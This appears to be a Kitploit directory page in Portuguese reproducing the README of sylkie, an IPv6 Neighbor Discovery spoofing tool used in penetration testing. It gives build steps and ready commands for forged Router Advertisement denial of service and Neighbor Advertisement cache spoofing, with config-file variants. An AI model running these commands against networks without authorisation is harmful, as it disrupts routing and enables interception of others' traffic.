Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
sylkie — Spoofing de endereço IPv6 com o Protocolo de Descoberta de Vizinhos | Kitploit
Ferramentas/GitHubGitHub/dlrobertson/sylkie
Análise de VulnerabilidadesColeta de InformaçõesSegurança de RedeSegurança Sem FioTestes de Penetração
GitHubdlrobertson/sylkie

sylkie

Spoofing de endereço IPv6 com o Protocolo de Descoberta de Vizinhos

Ver Repositório
5314há 8 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

sylkie

Travis Build Status

Uma ferramenta de linha de comando e biblioteca para testar redes quanto a vulnerabilidades comuns de segurança de falsificação de endereços em redes IPv6 usando o Protocolo de Descoberta de Vizinhos.

Primeiros Passos

Nota: Este projeto ainda está nas fases iniciais de desenvolvimento. Se você encontrar algum problema, considere reportá-lo em uma issue. Atualmente, ele funciona apenas no Linux.

Dependências

  • libseccomp (Opcional, mas altamente recomendado)
  • json-c (Opcional, mas recomendado)

Veja A Wiki para mais detalhes.

Compilar

Obtenha o código e compile-o!

root@kitploit:~
# Obter o código
git clone https://github.com/dlrobertson/sylkie
cd ./sylkie

# Compilar o código
mkdir -p ./build
cd ./build
cmake -DCMAKE_BUILD_TYPE=Release ..
make
make install

Uso básico

A seguir, descreve-se o uso básico do sylkie. Execute sylkie -h ou sylkie <subcomando> -h para mais detalhes ou consulte a seção Uso Avançado para mais exemplos.

Nota: O sylkie utiliza raw sockets para enviar os anúncios forjados. Como resultado, o executável deve ter o bit setuid ativado ou ser executado como root.

DoS (Anúncio de Roteador)

O uso básico do comando router-advert está listado abaixo. Este comando enviará uma mensagem de Anúncio de Roteador para o IP informado ou para o endereço multicast de todos os nós, fazendo com que os nós alvo removam <ip-roteador>/<prefixo> de sua lista de rotas padrão.

root@kitploit:~
sylkie ra -i <interface> \
    --target-mac <mac do roteador> \
    --router-ip <ip do roteador> \
    --prefix <prefixo do roteador> \
    --timeout <tempo entre anúncios> \
    --repeat <número de vezes que enviará a requisição>

Exemplos de Anúncio de Roteador

Um exemplo básico.

root@kitploit:~
sylkie ra -i ens3 \
    --target-mac 52:54:00:e3:f4:06 \
    --router-ip fe80::b95b:ee1:cafe:9720 \
    --prefix 64 \
    --repeat -1 \
    --timeout 10

Isso enviaria um Anúncio de Roteador "forjado" para o endereço link-local de todos os nós ff02::1, fazendo com que todos os nós removam fe80::b95b:ee1:cafe:9720/64 (endereço de camada de enlace 52:54:00:e3:f4:06) de sua lista de rotas padrão.

Falsificação de endereço (Anúncio de Vizinho)

O uso básico do comando sylkie neighbor advert está listado abaixo. Este comando enviará uma mensagem de Anúncio de Vizinho forjada para o IP informado.

root@kitploit:~
sylkie na -i <interface> \
    --dst-mac <hw addr destino> \
    --src-ip <ip de origem> \
    --dst-ip <ip de destino> \
    --target-ip <ip alvo> \
    --target-mac <mac alvo> \
    --timeout <tempo entre anúncios> \
    --repeat <número de vezes que enviará a requisição>

Exemplos de Anúncio de Vizinho

Um exemplo básico

root@kitploit:~
sylkie na -i ens3 \
    --dst-mac 52:54:00:e3:f4:06 \
    --src-ip fe80::61ad:fda3:3032:f6f4 \
    --dst-ip fe80::b95b:ee1:cafe:9720 \
    --target-ip fe80::61ad:fda3:3032:f6f4 \
    --target-mac 52:54:00:c2:a7:7c \
    --repeat -1 \
    --timeout 3

Isso enviaria uma mensagem de Anúncio de Vizinho "forjada" para o dst-ip (fe80::b95b:ee1:cafe:9720), fazendo com que o endereço de hardware no cache de vizinhos para o target-ip (fe80::61ad:fda3:3032:f6f4) seja atualizado para o target-mac (52:54:00:c2:a7:7c).

Salvando seu trabalho

Os comandos acima exigem bastante informação. Para facilitar a vida, o sylkie também aceita arquivos json e de texto simples contendo as informações necessárias para começar a enviar os anúncios forjados.

JSON

O subcomando (router-advert, neighbor-advert) é uma chave cujo valor é um array de objetos com as chaves e valores sendo a opção e valor correspondentes. Para executar o comando, passe o caminho para o arquivo json como argumento da opção -j.

Exemplo

Para executar o exemplo de router-advert fornecido acima a partir de um json, primeiro crie um arquivo com o seguinte conteúdo.

root@kitploit:~
{
    "router-advert": [
        {
            "interface": "ens3",
            "target-mac": "52:54:00:e3:f4:06",
            "router-ip": "fe80::b95b:ee1:cafe:9720",
            "prefix": 64,
            "repeat": -1,
            "timeout": 10
        }
    ]
}

Após criar o arquivo, comece a enviar anúncios com o seguinte comando.

root@kitploit:~
sylkie -j /caminho/para/json

Texto simples

Cada linha do arquivo deve ser exatamente o que você forneceria via linha de comando, exceto pelo comando sylkie.

Exemplo

Para executar o exemplo de neighbor-advert fornecido acima a partir de um json, primeiro crie um arquivo com o seguinte conteúdo.

root@kitploit:~
na -i ens3 --dst-mac 52:54:00:e3:f4:06 --src-ip fe80::61ad:fda3:3032:f6f4 --dst-ip fe80::b95b:ee1:cafe:9720 --target-ip fe80::61ad:fda3:3032:f6f4 --target-mac 52:54:00:c2:a7:7c --repeat -1 --timeout 3

Após criar o arquivo, comece a enviar os anúncios com

root@kitploit:~
sylkie -x /caminho/para/arquivo
Baixar ferramenta